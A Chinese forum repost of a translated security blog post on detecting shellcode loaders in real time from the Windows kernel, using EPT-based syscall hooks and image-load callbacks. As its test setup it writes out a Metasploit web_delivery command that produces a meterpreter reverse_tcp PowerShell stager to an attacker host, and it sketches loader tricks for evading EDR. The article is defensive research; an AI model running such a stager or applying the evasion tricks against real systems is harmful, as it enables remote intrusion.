吉沃运营专员 发表于 2021-9-30 16:08:33

基于实时内核监控的 ShellCode 检测

本文翻译自:Blog | CounterCraft (countercraftsec.com


用于将代码加载到内存的工具最近发生了很大变化,我已在 ShellCode、手动映射镜像和其他类型的代码执行方法中看到了这种演变。其中一些技术需要规避操作系统强加的缓解措施,例如绕过 AMSI、禁止写入事件日志或逃避 EDR 在用户空间中放置的钩子,以避免被检测到。

一个典型的用例是攻击者要 patch EDR 的用户空间的内存钩子或使用 Direct System Calls (系统调用) 来逃避 EDR 的检测,将代码加载到内存中,在这种情况下,额外的内核检测层对于实时检测 ShellCode 加载很有用。

需要注意的是,本文中没有任何内容是新技术。我们将讨论非常具体的例子,但除了下面列出的方法之外,还有更多的方法。讨论在运行时检测 ShellCode 将面临哪些挑战,为此,将使用两种不同的方法:


[*]1. 通过管理程序 EPT 来 Hook 一些系统调用
[*]2. 从内核回调中检测 ShellCode

一、构建

我们将使用 Metasploit 作为 C2,ShellCode 将被加载到本地进程 PowerShell.exe 中,选择 PowerShell 作为启动 Meterpreter 的进程,因为它是本地进程中加载ShellCode 的常用方法。

用以下命令生成一个 PowerShell 脚本:


msfconsole -x "use exploit/multi/script/web_delivery; set target 2; set lhost 192.168.1.44; set lport 1234; set payload windows/x64/meterpreter/reverse_tcp; exploit"


生成的脚本如下:



二、通过 Hook 来检测

一旦执行了 PowerShell 脚本并对其进行解压和解码,就可以从内存中捕获在第一阶段中植入的加载程序:



在第一阶段 ShellCode 加载器代码中,确定了以下步骤:


[*]1. 在本地进程分配内存
[*]2. 将 ShellCode 写入分配的内存中
[*]3. 创建一个指向 ShellCode 的线程

第一步是最容易检测的,第二步只是一个内存拷贝,所以没有可以监控或过滤的外部调用,最后一步调用系统函数来生成线程 (这是用于检测的代码中非常常见的操作),另外使用 ROP 很容易规避检测,因此在本篇文章中不会详细介绍。

先看下面这一段代码:



从上图可看到如何使用带 标志 的 VirtualAlloc 调用:


[*]1. 0x3000 = MEM_RESERVE | MEM_COMMIT
[*]2. 0x40 = PAGE_EXECUTE_READWRITE (RWX)

为了检测可疑的分配 (在此例子中是具有 RWX 权限的私有内存),我们需要放置一些钩子。Windows 不允许用户放置内核钩子,Patchguard 会阻止。这就是为什么要使用 EPT 来 Hook 一些系统调用并绕过 PatchGuard 缓解措施。有关 EPT 的更多信息,请点击 此处。

一旦驱动程序运行起来,就可以通过 Hook NtAllocateVirtualMemory 来监视分配。在此示例中,由于 ShellCode 加载器正在分配 RWX 内存,因此很容易检测到。例如,可能会使用以下代码来检测可疑的分配:



所以一旦加载器被执行,就会看到如何检测 ShellCode:



通过监控 NtAllocateVirtualMemory,发现有来自 clr.dll 的 RWX 分配,产生误报:



正如上图中看到那样,VirtualAlloc 正在使用具有特定内存地址的 MEM_COMMIT 从 clr.dll 调用,因此我们称为 IsSuspiciousAllocation() 的函数将正常工作并且不会将其报告为可疑分配。 然而,绕过我们的检测代码是很容易的。

从攻击者的角度来看,使用 RWX 权限分配内存区域是不可取的,很容易被检测到。因此,我们将进行更多测试以改进这方面以涵盖更多情况。

下面的例子,分配 RW 属性的内存,向其写入 ShellCode,然后权限修改成 RX 以执行它。以下代码可修改 ShellCode 加载器的代码:



为了检测这种新情况,需要监视 NtProtectVirtualMemory 并检查权限何时更改为可执行。可在 NtProtectVirtualMemory 钩子中使用以下代码来检测它:



基于这最后两个场景,可以得出一些结论:


[*]1. 内存分配阶段最容易检测
[*]2. hooking 方法的最大问题是来自 crl.dll 的误报

记住这些想法,我们可能会使用 clr.dll 中的函数去创建另一个 plus 版本的具有 RWX 属性的内存,并在那里编写 ShellCode。因此,在这一步中不需要分配内存以避免被标记,新的加载器代码可能如下所示:



注意:上面这段代码可能不太可靠,因为合法进程可能想覆盖用来存储 ShellCode 的这个缓冲区,而不考虑新的内存权限,从而导致访问冲突异常。

Hooking

我们可以继续迭代潜在的改进,使用其他 API (例如 CreateFileMapping 或 NtMapViewOfSection) 来分配内存,这将变成一个猫捉老鼠的游戏,试图监视更多的 API,而攻击者则试图找到分配内存的新方法。

尝试使用钩子检测 ShellCode 加载过程的缺点是必须处理可能的误报。这并不是在这里使用的内核 Hook 所独有的,在用户空间工作的 EDR 需要面对同样的问题。

应该注意的是,这种基于使用 EPT 的钩子监视系统调用的检测只能在具有 EPT 功能的系统上完成。

三、在内核中使用回调来检测 ShellCode

一旦 ShellCode 加载器将第一阶段代码加载到内存中,我们注意到代码是一个 reverse_tcp,它将尝试连接到 C2 服务器并加载 Meterpreter Payload。可以直接从 github 访问代码,以便更好地阅读:



通过查看第一阶段代码,我们注意到它需要如何加载 ws2_32.dll 来解析它将用于与 C2 服务器通信的网络 API 的内存地址:



检测的思路是从内核监视从用户空间加载的库,并检查进行系统调用的线程的调用堆栈,以检测调用堆栈的基地址是否已手动映射代码。

为了监控系统中加载的库,将使用 PsSetLoadImageNotifyRoutine,允许安装回调并使用 API (包括 dll) 监控系统中加载的镜像。

要进行检测,可以按照以下步骤进行:


[*]1. 遍历调用堆栈以获取其内存基址。
[*]2. 获取 ZwQueryVirtualMemory 为每个元素返回的 MEMORY_BASIC_INFORMATION 结构。
[*]3. 将 private (MEM_PRIVATE) 或 mapped (MEM_MAPPED) 检测为可执行文件。



在上图中,我们可以看到在调用堆栈中的 0x0000017d61ae013b 处检测到一个可疑区域,该区域被映射为具有可执行权限 (RWX) 的 private 区域,尝试加载 mswsock.dll。

检查 ShellCode 中的指令,会看到它与调用 WSASocketA 之后的 meterpreter reverse_tcp 代码一致:



ShellCode 加载的第一个库是调用 WSASocketA 时加载的 mswsock.dll。为什么没有捕捉到对 LoadLibraryA (ws2_32.dll) 的调用?好吧,在此例子中,这个库默认已经由 PowerShell 加载,所以 ShellCode 实际加载第一个库是 mswsock.dll,它是调用 WSASocketA 时的依赖项。

这允许我们在连接到 C2 服务器并下载 Payload 时看到从 ShellCode 加载的其他库。

四、结论

这篇文章快速介绍了如何使用特定的而不是非常高级的示例从内核实时检测 ShellCode。正如前面介绍中提到的,这里使用的技术都不是什么新技术,可通过一些额外的操作来绕过它们。这些只是从内核中可以检测到什么的一些具体示例。然而,我认为对于那些开发攻击性安全工具的研究人员来说,除了 EDR 用户空间钩子之外,还可以考虑这些方法。另外可能存在内核检测更有效的特定环境或情况。

我希望你喜欢这篇文章。

页: [1]
查看完整版本: 基于实时内核监控的 ShellCode 检测